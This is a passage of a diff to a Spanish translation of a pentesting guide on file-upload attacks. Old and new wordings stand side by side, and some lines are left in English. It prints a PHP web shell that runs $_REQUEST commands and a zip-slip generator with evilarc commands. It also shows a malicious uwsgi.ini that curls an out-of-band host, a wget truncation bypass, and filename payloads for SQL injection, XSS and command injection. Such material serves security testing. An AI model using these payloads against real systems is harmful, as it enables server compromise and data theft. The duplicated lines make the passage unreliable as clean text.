- Si se está añadiendo **compresión** a tu imagen, por ejemplo usando algunas bibliotecas PHP estándar como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas previas no serán útiles. Sin embargo, podrías usar el **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La página web también podría **redimensionar** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, puedes usar el **IDAT chunk** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Otra técnica para crear una carga útil que **sobreviva un redimensionado de imagen**, usando la función PHP-GD `thumbnailImage`. Sin embargo, puedes usar el **tEXt chunk** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- Otra técnica para crear una carga útil que **sobrevive al redimensionado de una imagen**, usando la función PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Otros trucos para comprobar
@ -111,24 +111,24 @@ Mitigaciones:
- **Posible divulgación de información**:
1. Subir **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
2. Subir un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
3. Subir un archivo con **".”, "..”, o "…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio "/www/uploads/”, el archivo con nombre "." creará un archivo llamado "uploads” en el directorio "/www/”.
4. Subir un archivo que no se pueda borrar fácilmente como **"…:.jpg”** en **NTFS**. (Windows)
3. Subir un archivo con **"." , "..”, o "…” como nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio "/www/uploads/” , el nombre "." creará un archivo llamado "uploads” en el directorio "/www/”.
4. Subir un archivo que puede no borrarse fácilmente como **"…:.jpg”** en **NTFS**. (Windows)
5. Subir un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
6. Subir un archivo en **Windows** usando nombres **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando sea abierto accidentalmente por la víctima.
- Intenta también subir un ejecutable (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando la víctima lo abra accidentalmente.
### Trucos con extensiones especiales
Si estás intentando subir archivos a un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si estás intentando subir archivos a un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Si intentas subir archivos a un servidor **PHP**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si intentas subir archivos a un servidor **ASP**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden **usarse como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...).
Los archivos `.phar` son como los `.jar` para Java, pero para PHP, y pueden **usarse como un archivo php** (ejecutándolos con php, o incluyéndolos dentro de un script...).
La extensión `.inc` a veces se usa para archivos php que solo se usan para **importar archivos**, así que, en algún punto, alguien pudo haber permitido **que esta extensión se ejecute**.
La extensión `.inc` a veces se usa para archivos PHP que solo se utilizan para **importar archivos**, por lo que, en algún punto, alguien podría haber permitido **que esta extensión se ejecute**.
## **Jetty RCE**
Si puedes subir un archivo XML a un servidor Jetty puedes obtener [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la imagen siguiente, sube el archivo XML a `$JETTY_BASE/webapps/` ¡y espera la shell!
Si puedes subir un archivo XML a un servidor Jetty puedes obtener [RCE porque **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la imagen siguiente, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera la shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -136,9 +136,9 @@ Si puedes subir un archivo XML a un servidor Jetty puedes obtener [RCE because *
Para una exploración detallada de esta vulnerabilidad consulta la investigación original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Las vulnerabilidades de Remote Command Execution (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI usan una sintaxis específica para incorporar variables "mágicas", placeholders y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los distintos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo leer datos desde la salida estándar de un proceso. Esta funcionalidad puede ser manipulada con fines maliciosos como Remote Command Execution o Arbitrary File Write/Read cuando se procesa un archivo de configuración `.ini`.
Las vulnerabilidades de Remote Command Execution (RCE) pueden explotarse en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI usan una sintaxis específica para incorporar variables "mágicas", placeholders y operadores. En particular, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los distintos schemes soportados en uWSGI, el scheme "exec" es especialmente potente, permitiendo leer datos desde la salida estándar de un proceso. Esta característica puede manipularse con fines maliciosos como Remote Command Execution o escritura/lectura arbitraria de archivos cuando se procesa un archivo de configuración `.ini`.
Considera el siguiente ejemplo de un `uwsgi.ini` malicioso, que muestra varios schemes:
Considera el siguiente ejemplo de un archivo `uwsgi.ini` malicioso, mostrando varios schemes:
```ini
[uwsgi]
; read from a symbol
@ -156,14 +156,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea analizada, el proceso uWSGI debe reiniciarse (potencialmente tras un crash o debido a un Denial of Service) o el archivo debe estar configurado para auto-reload. La función de auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea parseada, el proceso uWSGI debe reiniciarse (potencialmente tras un crash o debido a un Denial of Service) o el archivo debe estar configurado para auto-reload. La funcionalidad de auto-reload, si está habilitada, recarga el archivo en intervalos especificados al detectar cambios.
Es crucial entender la laxitud en el análisis del archivo de configuración de uWSGI. Específicamente, el payload discutido puede ser insertado en un archivo binario (como una imagen o un PDF), ampliando aún más el alcance de la explotación potencial.
Es crucial entender la laxitud en el análisis del archivo de configuración de uWSGI. Específicamente, el payload mencionado puede insertarse en un archivo binario (como una imagen o un PDF), ampliando aún más el alcance de la posible explotación.
## **wget File Upload/SSRF Trick**
En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En esos casos, el código puede comprobar que la extensión de los archivos descargados esté dentro de una whitelist para asegurarse de que sólo se van a descargar archivos permitidos. Sin embargo, **esta comprobación puede eludirse.**\
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **evadirá** la **comprobación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En estos casos, el código puede estar comprobando que la extensión de los archivos descargados está dentro de una whitelist para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta comprobación puede eludirse.**\
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **download a file called "A"\*232+".php"+".gif"**, este nombre de archivo **bypass** la **comprobación** (ya que en este ejemplo **".gif"** es una extensión **válida**) pero `wget` renombrará el archivo a **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,35 +187,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Ten en cuenta que **otra opción** que podrías estar considerando para eludir esta comprobación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial pase la comprobación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se use con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre de archivo indicado en la URL original**.
Tenga en cuenta que **otra opción** en la que puede estar pensando para bypassear este check es hacer que el **HTTP server redirija a un fichero diferente**, de modo que la URL inicial pase el check y luego wget descargue el fichero redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se use con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del fichero indicado en la URL original**.
## Herramientas
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta poderosa diseñada para ayudar a Pentesters y Bug Hunters a probar mecanismos de subida de archivos. Aprovecha diversas técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta potente diseñada para ayudar a Pentesters y Bug Hunters a probar mecanismos de upload de ficheros. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
### Corrupción de índices de upload con peculiaridades de snprintf (histórico)
### Corrupting upload indices with snprintf quirks (historical)
Algunos manejadores legacy de upload que usan `snprintf()` o similar para construir arrays de múltiples archivos a partir de una subida de un solo archivo pueden ser engañados para falsificar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una subida única cuidadosamente elaborada puede aparecer como múltiples archivos indexados en el lado del servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándola como una subida multi-archivo y tomando ramas inseguras). Aunque hoy es poco común, este patrón de “corrupción de índices” ocasionalmente reaparece en CTFs y bases de código antiguas.
Algunos handlers de upload legacy que usan `snprintf()` o funciones similares para construir arrays multi-file a partir de un upload de un solo fichero pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamientos en el comportamiento de `snprintf()`, un upload cuidadosamente construido de un solo fichero puede aparecer como múltiples ficheros indexados en el lado del servidor, confundiendo lógica que asume una forma estricta (por ejemplo, tratándolo como un upload multi-file y tomando ramas inseguras). Aunque hoy en día es algo niche, este patrón de “index corruption” ocasionalmente resurge en CTFs y bases de código antiguas.
## De File upload a otras vulnerabilidades
## From File upload to other vulnerabilities
- Establece **filename** en `../../../tmp/lol.png` y trata de lograr un **path traversal**
- Establece **filename** en `sleep(10)-- -.jpg` y podrías lograr una **SQL injection**
- Establece **filename** en `<svg onload=alert(document.domain)>` para lograr un **XSS**
- Establece **filename** en `; sleep 10;` para probar algún **command injection** (más [command injections tricks here](../command-injection.md))
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Prueba **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Si puedes **indicar el web server para que coja una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDFs especialmente creados para XSS: La [siguiente página muestra cómo **inyectar datos en PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
- Sube el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus**
- Comprueba si existe algún **límite de tamaño** al subir archivos
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (desde [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Aquí hay una lista top 10 de cosas que puedes lograr subiendo ficheros (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -227,27 +228,27 @@ Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (desd
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Extensión de Burp
#### Burp Extension
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Bytes mágicos de cabecera
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de archivo.
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Subida de archivos Zip/Tar descomprimida automáticamente
## Zip/Tar File Automatically decompressed Upload
Si puedes subir un ZIP que vaya a ser descomprimido dentro del servidor, puedes hacer 2 cosas:
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### Symlink
Sube un ZIP que contenga symlinks a otros archivos; al acceder a los archivos descomprimidos accederás a los archivos enlazados:
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -255,18 +256,18 @@ tar -cvf test.tar symindex.txt
```
### Descomprimir en diferentes carpetas
La creación inesperada de archivos en directorios durante la descompresión es un problema importante. A pesar de la suposición inicial de que esta configuración podría proteger contra la ejecución de comandos a nivel del sistema operativo mediante cargas de archivos maliciosos, el soporte jerárquico de compresión y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes eludir las restricciones y escapar de los directorios de subida seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra OS-level command execution mediante subidas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes evadir restricciones y escapar de los directorios de subida seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede utilizarse como se muestra:
Un exploit automatizado para crear dichos archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede usarse como se muestra:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, debe crearse un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación.
Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, debería crearse un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación.
A continuación se muestra un ejemplo de código Python usado para crear un archivo zip malicioso:
A continuación hay un ejemplo de Python code usado para crear un archivo zip malicioso:
```python
#!/usr/bin/python
import zipfile
@ -288,7 +289,7 @@ create_zip()
Para más detalles **consulta la entrada original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`.
1. **Creating a PHP Shell**: Se escribe código PHP para ejecutar comandos enviados a través de la variable `$_REQUEST`.
```php
<?php
@ -298,14 +299,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: Se crean múltiples archivos y se genera un archivo zip que contiene estos archivos.
2. **File Spraying and Compressed File Creation**: Se crean varios archivos y se ensambla un zip que contiene esos archivos.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Los nombres de los archivos dentro del zip se modifican usando vi o un hex editor, cambiando "xxA" por "../" para atravesar directorios.
3. **Modification with a Hex Editor or vi**: Se modifican los nombres de los archivos dentro del zip usando vi o un editor hexadecimal, cambiando "xxA" por "../" para traversar directorios.
```bash
:set modifiable
@ -324,31 +325,31 @@ pop graphic-context
```
## Incrustar PHP Shell en PNG
Incrustar un PHP shell en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y remuestrear imágenes, respectivamente. La capacidad del PHP shell incrustado de permanecer intacto frente a estas operaciones es una ventaja significativa para ciertos casos de uso.
Incrustar un PHP shell en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y resamplear imágenes, respectivamente. La capacidad del PHP shell incrustado para permanecer intacto frente a estas operaciones es una ventaja importante para ciertos casos de uso.
Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se ofrece en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se encuentra en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglot files sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a ese emparejamiento; combinaciones como GIF y JS o PPT y JS también son factibles.
Polyglot files funcionan como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo llamativo es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como RAR. Estos archivos no se limitan a esa combinación; también son posibles emparejamientos como GIF y JS o PPT y JS.
La utilidad principal de los polyglot files radica en su capacidad para eludir medidas de seguridad que inspeccionan archivos según su tipo. Una práctica común en varias aplicaciones consiste en permitir sólo ciertos tipos de archivo para la subida —como JPEG, GIF o DOC— para mitigar el riesgo que suponen formatos potencialmente peligrosos (por ejemplo, JS, PHP o Phar). Sin embargo, un polyglot, al ajustarse a los criterios estructurales de múltiples tipos de archivo, puede pasar desapercibido frente a estas restricciones.
La utilidad principal de los polyglot files radica en su capacidad para eludir medidas de seguridad que inspeccionan archivos según su tipo. La práctica común en varias aplicaciones consiste en permitir solo ciertos tipos de archivo para upload —como JPEG, GIF o DOC— para mitigar el riesgo de formatos potencialmente peligrosos (p. ej., JS, PHP o Phar). Sin embargo, un polyglot, al ajustarse a los criterios estructurales de varios tipos de archivo, puede evadir esas restricciones de forma sigilosa.
A pesar de su adaptabilidad, los polyglots enfrentan limitaciones. Por ejemplo, aunque un polyglot pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su subida puede depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un polyglot puede no ser suficiente para garantizar su subida.
A pesar de su adaptabilidad, los polyglots encuentran limitaciones. Por ejemplo, aunque un polyglot pueda encarnar simultáneamente un PHAR (PHp ARchive) y un JPEG, el éxito de su upload puede depender de las políticas de extensión del sistema. Si la plataforma es estricta respecto a las extensiones permitidas, la mera dualidad estructural del polyglot puede no ser suficiente para garantizar su upload.
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Subir JSON válidos como si fueran PDF
Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, falsificando un archivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, fingiendo que es un archivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Siempre que los bytes mágicos `%PDF` estén en los primeros 1024 bytes, es válido (ver ejemplo en el post)
- **`pdflib` library**: Agrega un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post)
- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Crea un JSON más grande que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, coloca la parte inicial de un PDF real y pensará que es un PDF
- **`mmmagic` library**: Mientras los magic bytes `%PDF` estén dentro de los primeros 1024 bytes es válido (ver ejemplo en el post)
- **`pdflib` library**: Añadir un formato PDF falso dentro de un campo del JSON para que la library piense que es un pdf (ver ejemplo en el post)
- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como json y luego dentro del JSON pon la parte inicial de un PDF real y pensará que es un PDF
## Referencias
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)